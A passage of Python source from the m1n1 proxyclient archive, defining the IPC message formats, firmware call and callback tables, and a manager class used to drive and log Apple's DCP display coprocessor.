"dcpdptx-port-epic" SHORT = "port" def displayRequest(self): self.call(8, 8, bytes(16)) def displayRelease(self): self.call(8, 9, bytes(16)) def connectTo(self, connected, unit, port, unk=0): target = 0 if connected: target |= (1 << 8) target |= unit target |= port << 4 self.call(8, 13, struct.pack("<16xII8x", unk, target)) class DCPDPTXPortEndpoint(EPICEndpoint): SHORT = "dpport" SERVICES = [ DCPDPTXRemotePortService, DCPDPControllerService, ] class DCPDPDevice(EPICStandardService): NAME = "dcpav-device-epic" SHORT = "dpdev" class DCPAVDeviceEndpoint(EPICEndpoint): SHORT = "avdev" SERVICES = [ DCPDPDevice, ] class DCPDPService(EPICStandardService): NAME = "dcpav-service-epic" SHORT = "dpserv" class DCPAVServiceEndpoint(EPICEndpoint): SHORT = "avserv" SERVICES = [ DCPDPService, ] class DCPAVSimpleVideoInterface(EPICStandardService): NAME = "dcpav-video-interface-epic" SHORT = "video" class DCPAVVideoEndpoint(EPICEndpoint): SHORT = "avserv" SERVICES = [ DCPAVSimpleVideoInterface, ] m1n1-1.4.11/proxyclient/m1n1/fw/dcp/dcpep.py000066400000000000000000000121011453754430200203370ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from dataclasses import dataclass from enum import IntEnum from ..asc.base import * from ...utils import * ## DCP main endpoint class DCPMessage(Register64): TYPE = 3, 0 class DCPEp_SetShmem(DCPMessage): DVA = 63, 16 FLAG = 7, 4 TYPE = 3, 0, Constant(0) class DCPEp_InitComplete(DCPMessage): TYPE = 3, 0, Constant(1) class CallContext(IntEnum): CB = 0 CMD = 2 ASYNC = 3 OOBCB = 4 OOBCMD = 6 OOBASYNC = 7 class DCPEp_Msg(DCPMessage): LEN = 63, 32 OFF = 31, 16 CTX = 11, 8, CallContext ACK = 6 TYPE = 3, 0, Constant(2) @dataclass class DCPCallState: tag: str off: int in_len: int in_data: bytes out_addr: int out_len: int complete: bool = False class DCPCallChannel(Reloadable): def __init__(self, dcpep, name, buf, bufsize): self.dcp = dcpep self.name = name self.buf = buf self.bufsize = bufsize self.off = 0 self.pending = [] def ack(self): if not self.pending: raise Exception("ACK with no calls pending") self.pending[-1].complete = True def call(self, ctx, tag, inbuf, out_len): in_len = len(inbuf) data = tag.encode("ascii")[::-1] + struct.pack("") else: s.append(f"{name}=?") return ", ".join(s) def print_long_args(self, indent, in_vals, out_vals=None): for i, (name, field) in enumerate(self.args): if name == "ret": continue val = self.get_field_val(i, in_vals, out_vals, nullobj=NULL) if name in in_vals and out_vals is not None and name not in out_vals: continue if self.is_long(val): hdr = f"{indent} {name} = " if isinstance(val, (ListContainer, Container)): print(hdr + str(val).replace("\n", "\n" + indent)) elif isinstance(val, bytes): print(hdr + f"({len(val):#x} bytes)") chexdump(val, indent=indent + " ") else: dindent = " " * len(hdr) if isinstance(val, dict) and "_io" in val: del val["_io"] print(hdr + pprint.pformat(val, sort_dicts=False).replace("\n", "\n" + dindent)) def is_long(self, arg): if isinstance(arg, (list, bytes)): return len(arg) > 4 or any(self.is_long(i) for i in arg) return isinstance(arg, (dict, list, bytes)) def parse_input(self, data): vals = self.in_struct.parse(data) return Container({ k: v() if callable(v) else v for k,v in vals.items() }) def parse_output(self, data, in_vals): context = dict(in_vals) if "data" in context: del context["data"] vals = self.out_struct.parse(data, **context) return Container({ k: v() if callable(v) else v for k,v in vals.items() }) def __str__(self): if self.rtype is None: rtype = "void" else: rtype = str(self.rtype) args = [] for name, field in self.args: if name == "ret": continue args.append(f"{field} {name}") return f"{rtype} {self.name}({', '.join(args)})" def callback(self, func, in_data): in_vals = self.parse_input(in_data) args = [] kwargs = {} out_vals = {} for i, (name, field) in enumerate(self.args): if name == "ret": continue dir = self.dir[i] val = self.get_field_val(i, in_vals, out_vals, nullobj=NULL) is_null = val is NULL if is_null: val = None if dir == "inout": if val is not None and not isinstance(val, list): val = ByRef(val) out_vals[name] = val elif dir == "out" and not is_null: val = ByRef(None) out_vals[name] = val if self.as_kwargs: kwargs[name] = val else: args.append(val) retval = func(*args, **kwargs) if self.rtype is None: assert retval is None else: assert retval is not None out_vals["ret"] = retval out_vals = {k: v.val if isinstance(v, ByRef) else v for k, v in out_vals.items()} context = dict(in_vals) if "obj" in context: del context["obj"] out_data = self.out_struct.build(out_vals, **context) return out_data def call(self, call, *args, **kwargs): if args and kwargs: raise Exception("Cannot use both args and kwargs") if args: for arg, (name, field) in zip(args, self.args): kwargs[name] = arg in_vals = {} out_refs = {} for i, (name, field) in enumerate(self.args): if name == "ret": continue val = kwargs[name] dir = self.dir[i] nullable = self.nullable[i] array_of_p = self.array_of_p[i] if nullable: if not array_of_p: in_vals[name + "_null"] = val is None else: defaults = field.parse(b"\x00" * field.sizeof()) in_vals[name + "_null"] = [i is None for i in val] val = [v if v is not None else defaults[i] for i, v in enumerate(val)] else: assert val is not None if val is None: continue if dir == "out": assert isinstance(val, ByRef) out_refs[name] = val elif dir == "inout": if isinstance(val, ByRef): in_vals[name] = val.val out_refs[name] = val elif val is not None: in_vals[name] = val elif val is not None: in_vals[name] = val in_data = self.in_struct.build(in_vals) print(f"{self.name}({self.fmt_args(in_vals)})") out_data = call(in_data) out_vals = self.parse_output(out_data, in_vals) for k, v in out_refs.items(): v.val = out_vals[k] if self.rtype is not None: return out_vals["ret"] def dump_fields(fields): off = 0 for f in fields: sizeof = f.sizeof() print(f"{off:#x}: {f} ({sizeof:#x})") off += sizeof class Call(Method): pass class Callback(Method): pass int8_t = Int8sl uint8_t = Int8ul int16_t = Int16sl uint16_t = Int16ul int32_t = Int32sl uint32_t = Int32ul int64_t = Int64sl uint64_t = Int64ul uint = uint32_t int_ = int32_t ulong = uint64_t long_ = int64_t void = None class IPCObject: @classmethod def methods(cls): ret = {} for c in cls.mro(): ret.update({k: (cls, v) for k, v in cls.__dict__.items() if isinstance(v, Method)}) return ret rt_bw_config_t = Struct( "unk1" / UnkBytes(8), "reg1" / Int64ul, "reg2" / Int64ul, "unk2" / UnkBytes(4), "bit" / Int32ul, "padding" / UnkBytes(0x1c), ) frame_sync_props_t = Struct( "unk1" / UnkBytes(28), ) IOUserClient = Struct( "addr" / Hex(Int64ul), "unk" / Int32ul, "flag1" / Int8ul, "flag2" / Int8ul, Padding(2) ) IOMobileFramebufferUserClient = IOUserClient IOMFBStatus = Int32ul IOMFBParameterName = Int32ul BufferDescriptor = uint64_t SwapCompleteData = Bytes(0x12) SwapInfoBlob = Struct( "unk" / Bytes(0x6c4), Ver("V >= V13_5", "unk_13_3" / Bytes(0x10)), ) SWAP_SURFACES = 4 Rect = NamedTuple("rect", "x y w h", Int32ul[4]) ActiveRegion = NamedTuple("rect", "max_x max_y min_w max_w", Int32ul[4]) IOMFBSwapRec = Struct( "ts1" / Default(Int64ul, 0), "ts2" / Default(Int64ul, 0), "unk_10" / Default(Int64ul, 0), "unk_18" / Default(Int64ul, 0), "ts64_unk" / Default(Int64ul, 0), "unk_28" / Default(Int64ul, 0), "ts3" / Default(Int64ul, 0), "unk_38" / Default(Int64ul, 0), "flags1" / Hex(Int64ul), "flags2" / Hex(Int64ul), "swap_id" / Int32ul, "surf_ids" / Int32ul[SWAP_SURFACES], "src_rect" / Rect[SWAP_SURFACES], "surf_flags" / Int32ul[SWAP_SURFACES], "surf_unk" / Int32ul[SWAP_SURFACES], "dst_rect" / Rect[SWAP_SURFACES], "swap_enabled" / Hex(Int32ul), "swap_completed" / Hex(Int32ul), "bg_color" / Hex(Default(Int32ul, 0)), "unk_110" / UnkBytes(0x30), "active_region_enable" / Default(Int32ul[SWAP_SURFACES], [0]*SWAP_SURFACES), "active_regions" / Default(ActiveRegion[SWAP_SURFACES], [(0,0,0,0)] * SWAP_SURFACES), "unk_190" / UnkBytes(0x138), "unk_2c8" / Hex(Default(Int32ul, 0)), "unk_2cc" / UnkBytes(0x14), "unk_2e0" / Hex(Default(Int32ul, 0)), Ver("V < V13_5", "unk_2e2" / UnkBytes(0x2)), Ver("V >= V13_5", "unk_2e2" / UnkBytes(0x3)), "bl_unk" / Hex(Int64ul), # seen: 0x0, 0x1, 0x101, 0x1_0000, 0x101_010101 "bl_val" / Hex(Int32ul), # range 0x10000000 - approximately 0x7fe07fc0 for 4 - 510 nits "bl_power" / Hex(Int8ul), # constant 0x40, 0x00: backlight off "unk_2f3" / UnkBytes(0x2d), Ver("V >= V13_5", "unk_320" / UnkBytes(0x147)), ) MAX_PLANES = 3 ComponentTypes = Struct( "count" / Int8ul, "types" / SizedArray(7, "count", Int8ul), ) #ComponentTypes = Bytes(8) CLA_Chroma = 0 CLA_Luma = 1 CLA_Alpha = 2 ARGB_RedLuma = 0 ARGB_GreenCb = 1 ARGB_BlueCr = 2 ARGB_Alpha = 3 kIOSurfaceAddressFormatLinear = 0 kIOSurfaceAddressFormatIndirect = 1 kIOSurfaceAddressFormatTwiddled = 2 kIOSurfaceAddressFormatTiled = 3 kIOSurfaceAddressFormatReference = 4 kIOSurfaceCompressionTypeNone = 0 kIOSurfaceCompressionTypeHTPC = 1 kIOSurfaceCompressionTypeAGX = 2 kIOSurfaceCompressionTypeInterchange = 3 kIOSurfaceCompressionTypeInterchangeLossy = 4 kInterchangeSizeNone = 0 kInterchangeSizeLarge = 1 kInterchangeSizeNormal = 2 kInterchangeLinear = 0 kInterchangeCompressed = 1 kInterchangeUncompressed = 2 PlaneInfo = Struct( "width" / Int32ul, "height" / Int32ul, "base" / Hex(Int32ul), "offset" / Hex(Int32ul), "stride" / Hex(Int32ul), "size" / Hex(Int32ul), "tile_size" / Int16ul, "tile_w" / Int8ul, "tile_h" / Int8ul, "unk1" / UnkBytes(0xd), "unk2" / Hex(Int8ul), "unk3" / UnkBytes(0x26), ) assert PlaneInfo.sizeof() == 0x50 CompressionInfo = Struct( "tile_w" / Int32ul, "tile_h" / Int32ul, "meta_offset" / Int32ul, "data_offset" / Int32ul, "tile_meta_bytes" / Int32ul, "tiles_w" / Int32ul, "tiles_h" / Int32ul, "unk1" / Default(Int32ul, 0), "compression_type" / Default(Int32ul, 3), "unk3" / Default(Int32ul, 0), "pad" / Padding(3), "tile_bytes" / Int32ul, "row_stride" / Int32ul, "pad2" / Padding(1), ) assert CompressionInfo.sizeof() == 0x34 IOSurface = Struct( "is_tiled" / bool_, "unk_1" / bool_, "unk_2" / bool_, "plane_cnt" / Int32ul, "plane_cnt2" / Int32ul, "format" / FourCC, "unk_f" / Default(Hex(Int32ul), 0), "xfer_func" / Int8ul, "colorspace" / Int8ul, "stride" / Int32ul, "pix_size" / Int16ul, "pel_w" / Int8ul, "pel_h" / Int8ul, "offset" / Default(Hex(Int32ul), 0), "width" / Int32ul, "height" / Int32ul, "buf_size" / Hex(Int32ul), "unk_2d" / Default(Int32ul, 0), "unk_31" / Default(Int32ul, 0), "surface_id" / Int32ul, "comp_types" / Default(SizedArray(MAX_PLANES, "plane_cnt", ComponentTypes), []), "has_comp" / Bool(Int64ul), "planes" / Default(SizedArray(MAX_PLANES, "plane_cnt", PlaneInfo), []), "has_planes" / Bool(Int64ul), "compression_info" / Default(SizedArray(MAX_PLANES, "plane_cnt", CompressionInfo), []), "has_compr_info" / Bool(Int64ul), "unk_1f5" / Int32ul, "unk_1f9" / Int32ul, "padding" / UnkBytes(7), Ver("V >= V13_5", "padding_13_3" / UnkBytes(40)), ) IOMFBColorFixedMatrix = Array(5, Array(3, ulong)) class PropID(IntEnum): BrightnessCorrection = 14 class UPPipeAP_H13P(IPCObject): # FW version dependent Calls if Ver.check("V < V13_5"): late_init_signal = Call(bool_, "late_init_signal") update_notify_clients_dcp = Call(void, "update_notify_clients_dcp", Array(26, uint)) else: late_init_signal = Call(bool_, "late_init_signal", bool_) update_notify_clients_dcp = Call(void, "update_notify_clients_dcp", Array(26, uint)) A000 = late_init_signal A029 = Call(void, "setup_video_limits") A034 = update_notify_clients_dcp A035 = Call(bool_, "is_hilo") A036 = Call(bool_, "apt_supported") A037 = Call(uint, "get_dfb_info", InOutPtr(uint), InOutPtr(Array(4, ulong)), InOutPtr(uint)) A038 = Call(uint, "get_dfb_compression_info", InOutPtr(uint)) D000 = Callback(bool_, "did_boot_signal") D001 = Callback(bool_, "did_power_on_signal") D002 = Callback(void, "will_power_off_signal") D003 = Callback(void, "rt_bandwidth_setup_ap", config=OutPtr(rt_bw_config_t)) D006 = Callback(void, "set_frame_sync_props", props=InOutPtr(frame_sync_props_t)) IdleCachingState = uint32_t class UnifiedPipeline2(IPCObject): # FW version dependent Call tags set_create_DFB = Call(void, "set_create_DFB") vi_set_temperature_hint = Call(IOMFBStatus, "vi_set_temperature_hint") if Ver.check("V < V13_5"): A357 = set_create_DFB A358 = vi_set_temperature_hint else: A373 = set_create_DFB A374 = vi_set_temperature_hint A352 = Call(bool_, "applyProperty", uint, uint) A353 = Call(uint, "get_system_type") D100 = Callback(void, "match_pmu_service") D101 = Callback(uint32_t, "UNK_get_some_field") D102 = Callback(void, "set_number_property", key=string(0x40), value=uint) # FW version dependent Callback tags cb_set_boolean_property = Callback(void, "set_boolean_property", key=string(0x40), value=bool_) cb_removeProperty = Callback(void, "removeProperty", key=string(0x40)) cb_create_provider_service = Callback(bool_, "create_provider_service") cb_create_product_service = Callback(bool_, "create_product_service") cb_create_PMU_service = Callback(bool_, "create_PMU_service") cb_create_iomfb_service = Callback(bool_, "create_iomfb_service") cb_create_backlight_service = Callback(bool_, "create_backlight_service") cb_create_nvram_service = Callback(bool_, "create_nvram_service") cb_set_idle_caching_state_ap = Callback(void, "set_idle_caching_state_ap", IdleCachingState, uint) cb_start_hardware_boot = Callback(bool_, "start_hardware_boot") cb_is_dark_boot = Callback(bool_, "is_dark_boot") cb_is_waking_from_hibernate = Callback(bool_, "is_waking_from_hibernate") cb_read_edt_data = Callback(bool_, "read_edt_data", key=string(0x40), count=uint, value=InOut(Lazy(SizedArray(8, "count", uint32_t)))) cb_setDCPAVPropStart = Callback(bool_, "setDCPAVPropStart", length=uint) cb_setDCPAVPropChunk = Callback(bool_, "setDCPAVPropChunk", data=HexDump(SizedBytes(0x1000, "length")), offset=uint, length=uint) cb_setDCPAVPropEnd = Callback(bool_, "setDCPAVPropEnd", key=string(0x40)) cb_allocate_bandwidth = Callback(bool_, "allocate_badwidth", InOutPtr(ulong), InOutPtr(ulong), ulong) if Ver.check("V < V13_5"): D103 = cb_set_boolean_property D106 = cb_removeProperty D107 = cb_create_provider_service D108 = cb_create_product_service D109 = cb_create_PMU_service D110 = cb_create_iomfb_service D111 = cb_create_backlight_service D112 = cb_set_idle_caching_state_ap D116 = cb_start_hardware_boot D117 = cb_is_dark_boot D118 = cb_is_waking_from_hibernate D120 = cb_read_edt_data D122 = cb_setDCPAVPropStart D123 = cb_setDCPAVPropChunk D124 = cb_setDCPAVPropEnd else: D103 = Callback(void, "trigger_user_cal_loader") D104 = cb_set_boolean_property D107 = cb_removeProperty D108 = cb_create_provider_service D109 = cb_create_product_service D110 = cb_create_PMU_service D111 = cb_create_iomfb_service D112 = cb_create_backlight_service D113 = cb_create_nvram_service D114 = Callback(bool_, "get_tiling_state", event=uint, para=uint, val=InOutPtr(uint)) D115 = Callback(bool_, "set_tiling_state", event=uint, para=uint, val=InPtr(uint)) D116 = cb_set_idle_caching_state_ap D120 = cb_start_hardware_boot D121 = cb_is_dark_boot D122 = cb_is_waking_from_hibernate D124 = cb_read_edt_data D126 = cb_setDCPAVPropStart D127 = cb_setDCPAVPropChunk D128 = cb_setDCPAVPropEnd D129 = cb_allocate_bandwidth class UPPipe2(IPCObject): A102 = Call(uint64_t, "test_control", cmd=uint64_t, arg=uint) A103 = Call(void, "get_config_frame_size", width=InOutPtr(uint), height=InOutPtr(uint)) A104 = Call(void, "set_config_frame_size", width=uint, height=uint) A105 = Call(void, "program_config_frame_size") A130 = Call(bool_, "init_ca_pmu") A131 = Call(bool_, "pmu_service_matched") A132 = Call(bool_, "backlight_service_matched") # FW version dependent Callback tags cb_get_calendar_time_ms = Callback(uint64_t, "get_calendar_time_ms") cb_update_backlight_factor_prop = Callback(void, "update_backlight_factor_prop", int_) D201 = Callback(uint32_t, "map_buf", buf=InPtr(BufferDescriptor), vaddr=OutPtr(ulong), dva=OutPtr(ulong), unk=bool_) D202 = Callback(void, "unmap_buf", buf=InPtr(BufferDescriptor), unk1=uint, unk2=ulong, unkB=uint) D206 = Callback(bool_, "match_pmu_service_2") D207 = Callback(bool_, "match_backlight_service") if Ver.check("V < V13_5"): D208 = cb_get_calendar_time_ms D211 = cb_update_backlight_factor_prop else: D208 = cb_update_backlight_factor_prop D209 = cb_get_calendar_time_ms class PropRelay(IPCObject): if Ver.check("V < V13_5"): D300 = Callback(void, "pr_publish", prop_id=uint32_t, value=int_) else: D300 = Callback(void, "pr_publish", prop_id=uint32_t, value=int_, unk0=int_, unk1=int_) class IOMobileFramebufferAP(IPCObject): # FW version dependent Calls if Ver.check("V < V13_5"): swap_submit_dcp = Call(uint32_t, "swap_submit_dcp", swap_rec=InPtr(IOMFBSwapRec), surfaces=Array(4, InPtr(IOSurface)), surfAddr=Array(4, Hex(ulong)), unkBool=bool_, unkFloat=Float64l, unkInt=uint, unkOutBool=OutPtr(bool_)) else: swap_submit_dcp = Call(uint32_t, "swap_submit_dcp", swap_rec=InPtr(IOMFBSwapRec), surfaces=Array(SWAP_SURFACES, InPtr(IOSurface)), surfAddr=Array(SWAP_SURFACES, Hex(ulong)), unkU64Array=Array(SWAP_SURFACES, Hex(ulong)), surfaces2=Array(5, InPtr(IOSurface)), surfAddr2=Array(5, Hex(ulong)), unkBool=bool_, unkFloat=Float64l, unkU64=ulong, unkBool2=bool_, unkInt=uint, unkOutBool=OutPtr(bool_), unkCUintArray=InPtr(uint), unkUintPtr=OutPtr(uint)) A401 = Call(uint32_t, "start_signal") A407 = Call(uint32_t, "swap_start", swap_id=InOutPtr(uint), client=InOutPtr(IOUserClient)) A408 = swap_submit_dcp A410 = Call(uint32_t, "set_display_device", uint) A411 = Call(bool_, "is_main_display") A412 = Call(uint32_t, "set_digital_out_mode", uint, uint) A413 = Call(uint32_t, "get_digital_out_state", InOutPtr(uint)) A414 = Call(uint32_t, "get_display_area", InOutPtr(ulong)) A419 = Call(uint32_t, "get_gamma_table", InOutPtr(Bytes(0xc0c))) A422 = Call(uint32_t, "set_matrix", uint, InPtr(Array(3, Array(3, ulong)))) A423 = Call(uint32_t, "set_contrast", InOutPtr(Float32l)) A426 = Call(uint32_t, "get_color_remap_mode", InOutPtr(uint32_t)) A427 = Call(uint32_t, "setBrightnessCorrection", uint) # FW version dependent Call tags set_block_dcp = Call(uint32_t, "set_block_dcp", arg1=uint64_t, arg2=uint, arg3=uint, arg4=Array(8, ulong), arg5=uint, data=SizedBytes(0x1000, "length"), length=ulong, unknArry=Array(4, uint)) get_block_dcp = Call(uint32_t, "get_block_dcp", arg1=uint64_t, arg2=uint, arg3=uint, arg4=Array(8, ulong), arg5=uint, data=OutPtr(SizedBytes(0x1000, "length")), length=uint) swap_set_color_matrix = Call(uint32_t, "swap_set_color_matrix", matrix=InOutPtr(IOMFBColorFixedMatrix), func=uint32_t, unk=uint) set_parameter_dcp = Call(uint32_t, "set_parameter_dcp", param=IOMFBParameterName, value=Lazy(SizedArray(4, "count", ulong)), count=uint) display_width = Call(uint, "display_width") display_height = Call(uint, "display_height") get_display_size = Call(void, "get_display_size", OutPtr(uint), OutPtr(uint)) do_create_default_frame_buffer = Call(int_, "do_create_default_frame_buffer") printRegs = Call(void, "printRegs") enable_disable_video_power_savings = Call(int_, "enable_disable_video_power_savings", uint) first_client_open = Call(void, "first_client_open") last_client_close_dcp = Call(void, "last_client_close_dcp", OutPtr(uint)) writeDebugInfo = Call(bool_, "writeDebugInfo", ulong) flush_debug_flags = Call(void, "flush_debug_flags", uint) io_fence_notify = Call(bool_, "io_fence_notify", uint, uint, ulong, IOMFBStatus) setDisplayRefreshProperties = Call(bool_, "setDisplayRefreshProperties") flush_supportsPower = Call(void, "flush_supportsPower", bool_) abort_swaps_dcp = Call(uint, "abort_swaps_dcp", InOutPtr(IOMobileFramebufferUserClient)) update_dfb = Call(uint, "update_dfb", surf=InPtr(IOSurface)) setPowerState = Call(uint32_t, "setPowerState", ulong, bool_, OutPtr(uint)) isKeepOnScreen = Call(bool_, "isKeepOnScreen") if Ver.check("V < V13_5"): A435 = set_block_dcp A436 = get_block_dcp A438 = swap_set_color_matrix A439 = set_parameter_dcp A440 = display_width A441 = display_height A442 = get_display_size A443 = do_create_default_frame_buffer A444 = printRegs A447 = enable_disable_video_power_savings A454 = first_client_open A455 = last_client_close_dcp A456 = writeDebugInfo A457 = flush_debug_flags A458 = io_fence_notify A460 = setDisplayRefreshProperties A463 = flush_supportsPower A464 = abort_swaps_dcp A467 = update_dfb A468 = setPowerState A469 = isKeepOnScreen else: A437 = set_block_dcp A438 = get_block_dcp A440 = swap_set_color_matrix A441 = set_parameter_dcp A442 = display_width A443 = display_height A444 = get_display_size A445 = do_create_default_frame_buffer A446 = printRegs A449 = enable_disable_video_power_savings A456 = first_client_open A457 = last_client_close_dcp A458 = writeDebugInfo A459 = flush_debug_flags A460 = io_fence_notify A463 = setDisplayRefreshProperties A466 = flush_supportsPower A467 = abort_swaps_dcp A468 = Call(uint, "remove_gain_maps", InOutPtr(IOMobileFramebufferUserClient)) A470 = update_dfb A472 = setPowerState A473 = isKeepOnScreen # FW version dependent callbacks if Ver.check("V < V13_5"): hotPlug_notify_gated = Callback(void, "hotPlug_notify_gated", ulong) else: # TODO: is this sensible? hotPlug_notify_gated = Callback(void, "hotPlug_notify_gated", uint, InOutPtr(Bytes(0x4c))) D552 = Callback(bool_, "setProperty_dict", key=string(0x40), value=InPtr(Padded(0x1000, OSDictionary()))) D561 = Callback(bool_, "setProperty_dict", key=string(0x40), value=InPtr(Padded(0x1000, OSDictionary()))) D563 = Callback(bool_, "setProperty_int", key=string(0x40), value=InPtr(uint64_t)) D565 = Callback(bool_, "setProperty_bool", key=string(0x40), value=InPtr(Bool(uint32_t))) D567 = Callback(bool_, "setProperty_str", key=string(0x40), value=string(0x40)) D574 = Callback(IOMFBStatus, "powerUpDART", bool_) D575 = Callback(bool_, "get_dot_pitch", OutPtr(uint)) D576 = hotPlug_notify_gated D577 = Callback(void, "powerstate_notify", bool_, bool_) D578 = Callback(bool_, "idle_fence_create", IdleCachingState) D579 = Callback(void, "idle_fence_complete") D581 = Callback(void, "swap_complete_head_of_line", uint, bool_, uint, bool_) D582 = Callback(bool_, "create_default_fb_surface", uint, uint) D583 = Callback(bool_, "serializeDebugInfoCb", ulong, InPtr(uint64_t), uint) D584 = Callback(void, "clear_default_surface") D588 = Callback(void, "resize_default_fb_surface_gated") D589 = Callback(void, "swap_complete_ap_gated", swap_id=uint, unkBool=bool_, swap_data=InPtr(SwapCompleteData), swap_info=SwapInfoBlob, unkUint=uint) D591 = Callback(void, "swap_complete_intent_gated", swap_id=uint, unkB=bool_, unkInt=uint32_t, width=uint, height=uint) D592 = Callback(void, "abort_swap_ap_gated", swap_id=uint) D593 = Callback(void, "enable_backlight_message_ap_gated", bool_) D594 = Callback(void, "setSystemConsoleMode", bool_) D596 = Callback(bool_, "isDFBAllocated") D597 = Callback(bool_, "preserveContents") D598 = Callback(void, "find_swap_function_gated") class ServiceRelay(IPCObject): # FW version dependent Callbacks if Ver.check("V < V13_5"): sr_mapDeviceMemoryWithIndex = Callback(IOMFBStatus, "sr_mapDeviceMemoryWithIndex", obj=FourCC, index=uint, flags=uint, addr=OutPtr(ulong), length=OutPtr(ulong)) else: sr_mapDeviceMemoryWithIndex = Callback(IOMFBStatus, "sr_mapDeviceMemoryWithIndex", obj=FourCC, index=uint, flags=uint, unk_u64=OutPtr(ulong), addr=OutPtr(ulong), length=OutPtr(ulong)) D400 = Callback(void, "get_property", obj=FourCC, key=string(0x40), value=OutPtr(Bytes(0x200)), length=InOutPtr(uint)) D401 = Callback(bool_, "sr_get_uint_prop", obj=FourCC, key=string(0x40), value=InOutPtr(ulong)) D404 = Callback(void, "sr_set_uint_prop", obj=FourCC, key=string(0x40), value=uint) D406 = Callback(void, "set_fx_prop", obj=FourCC, key=string(0x40), value=uint) D408 = Callback(uint64_t, "sr_getClockFrequency", obj=FourCC, arg=uint) D411 = sr_mapDeviceMemoryWithIndex D413 = Callback(bool_, "sr_setProperty_dict", obj=FourCC, key=string(0x40), value=InPtr(Padded(0x1000, OSDictionary()))) D414 = Callback(bool_, "sr_setProperty_int", obj=FourCC, key=string(0x40), value=InPtr(uint64_t)) D415 = Callback(bool_, "sr_setProperty_bool", obj=FourCC, key=string(0x40), value=InPtr(Bool(uint32_t))) mem_desc_id = uint class MemDescRelay(IPCObject): D451 = Callback(mem_desc_id, "allocate_buffer", uint, ulong, uint, OutPtr(ulong), OutPtr(ulong), OutPtr(ulong)) D452 = Callback(mem_desc_id, "map_physical", paddr=ulong, size=ulong, flags=uint, dva=OutPtr(ulong), dvasize=OutPtr(ulong)) D453 = Callback(mem_desc_id, "withAddressRange", ulong, ulong, uint, uint64_t, OutPtr(uint), OutPtr(ulong)) D454 = Callback(IOMFBStatus, "prepare", uint, uint) D455 = Callback(IOMFBStatus, "complete", uint, uint) D456 = Callback(bool_, "release_descriptor", uint) ALL_CLASSES = [ UPPipeAP_H13P, UnifiedPipeline2, IOMobileFramebufferAP, ServiceRelay, PropRelay, UPPipe2, MemDescRelay, ] ALL_METHODS = {} for cls in ALL_CLASSES: ALL_METHODS.update(cls.methods()) SHORT_CHANNELS = { "CB": "d", "CMD": "C", "ASYNC": "a", "OOBCMD": "O", "OOBCB": "o", } RDIR = { ">": "<", "<": ">" } class Call: def __init__(self, dir, chan, off, msg, in_size, out_size, in_data=b''): self.dir = dir self.chan = chan self.msg = msg self.off = off self.in_size = in_size self.out_size = out_size self.in_data = in_data self.out_data = None self.complete = False self.ret = None def ack(self, out_data): self.out_data = out_data self.complete = True def print_req(self, indent=""): log = f"{indent}{self.dir}{SHORT_CHANNELS[self.chan]}[{self.off:#x}] {self.msg} " cls, method = ALL_METHODS.get(self.msg, (None, None)) if cls is None: print(log + f"unknown: {self.in_size:#x}/{self.out_size:#x}") return log += f"{cls.__name__}::{method.name}(" in_size = method.in_struct.sizeof() if in_size != len(self.in_data): print(f"{log} !! Expected {in_size:#x} bytes, got {len(self.in_data):#x} bytes (in)") dump_fields(method.in_fields) chexdump(self.in_data) self.in_vals = {} return self.in_vals = method.parse_input(self.in_data) log += f"{method.fmt_args(self.in_vals)})" print(log) method.print_long_args(indent, self.in_vals) #if method.in_fields: #print(self.in_vals) def print_reply(self, indent=""): assert self.complete log = f"{indent}{RDIR[self.dir]}{SHORT_CHANNELS[self.chan]}[{self.off:#x}] {self.msg} " cls, method = ALL_METHODS.get(self.msg, (None, None)) if cls is None: print(log + f"{self.in_size:#x}/{self.out_size:#x}") return log += f"{cls.__name__}::{method.name}(" out_size = method.out_struct.sizeof() if out_size != len(self.out_data): print(f"{log} !! Expected {out_size:#x} bytes, got {len(self.out_data):#x} bytes (out)") dump_fields(method.out_fields) chexdump(self.out_data) return self.out_vals = method.parse_output(self.out_data, self.in_vals) log += f"{method.fmt_args(self.in_vals, self.out_vals)})" if "ret" in self.out_vals: self.ret = self.out_vals.ret del self.out_vals["ret"] log += f" = {self.ret!r}" print(log) method.print_long_args(indent, self.in_vals, self.out_vals) #if len(method.out_fields) - (self.ret is not None): #print(self.out_vals) def get_method(self): cls, method = ALL_METHODS.get(self.msg, (None, None)) return method m1n1-1.4.11/proxyclient/m1n1/fw/dcp/manager.py000066400000000000000000000225711453754430200206720ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import pprint import struct, functools, time from dataclasses import dataclass from enum import IntEnum from construct.lib import hexundump from ..asc.base import * from ...utils import * from . import ipc from .dcpep import CallContext ## DCP API manager class DCPBaseManager: def __init__(self, dcpep): self.dcpep = dcpep self.dcp = dcpep.asc dcpep.mgr = self self.name_map = {} self.tag_map = {} self.in_callback = 0 for k, (cls, v) in ipc.ALL_METHODS.items(): self.name_map[v.name] = k, v self.tag_map[k] = v def handle_cb(self, state): method = self.tag_map.get(state.tag, None) if method is None: raise Exception(f"Unknown callback {state.tag}") func = getattr(self, method.name, None) if func is None: raise Exception(f"Unimplemented callback {method!s} [{state.tag}]") self.in_callback += 1 try: retval = method.callback(func, state.in_data) except Exception as e: print(f"Exception in callback {method.name}") raise self.in_callback -= 1 return retval def __getattr__(self, attr): tag, method = self.name_map.get(attr, (None, None)) if method is None or tag.startswith("D"): raise AttributeError(f"Unknown method {attr}") out_len = method.out_struct.sizeof() if self.in_callback: ctx = CallContext.CB else: ctx = CallContext.CMD rpc = functools.partial(self.dcpep.ch_cmd.call, ctx, tag, out_len=out_len) return functools.partial(method.call, rpc) class DCPManager(DCPBaseManager): def __init__(self, dcpep, compatible='t8103'): super().__init__(dcpep) self.iomfb_prop = {} self.dcpav_prop = {} self.service_prop = {} self.pr_prop = {} self.swaps = 0 self.frame = 0 self.mapid = 0 self.bufs = {} self.compatible = compatible ## IOMobileFramebufferAP methods def find_swap_function_gated(self): pass def create_provider_service(self): return True def create_product_service(self): return True def create_PMU_service(self): return True def create_iomfb_service(self): return True def create_backlight_service(self): return False def setProperty(self, key, value): self.iomfb_prop[key] = value print(f"setProperty({key} = {value!r})") return True setProperty_dict = setProperty_int = setProperty_bool = setProperty_str = setProperty def swap_complete_ap_gated(self, swap_id, unkBool, swap_data, swap_info, unkUint): swap_data_ptr = "NULL" if swap_data is None else "..." print(f"swap_complete_ap_gated({swap_id}, {unkBool}, {swap_data_ptr}, ..., {unkUint}") if swap_data is not None: chexdump(swap_data) chexdump(swap_info) self.swaps += 1 self.frame = swap_id def swap_complete_intent_gated(self, swap_id, unkB, unkInt, width, height): 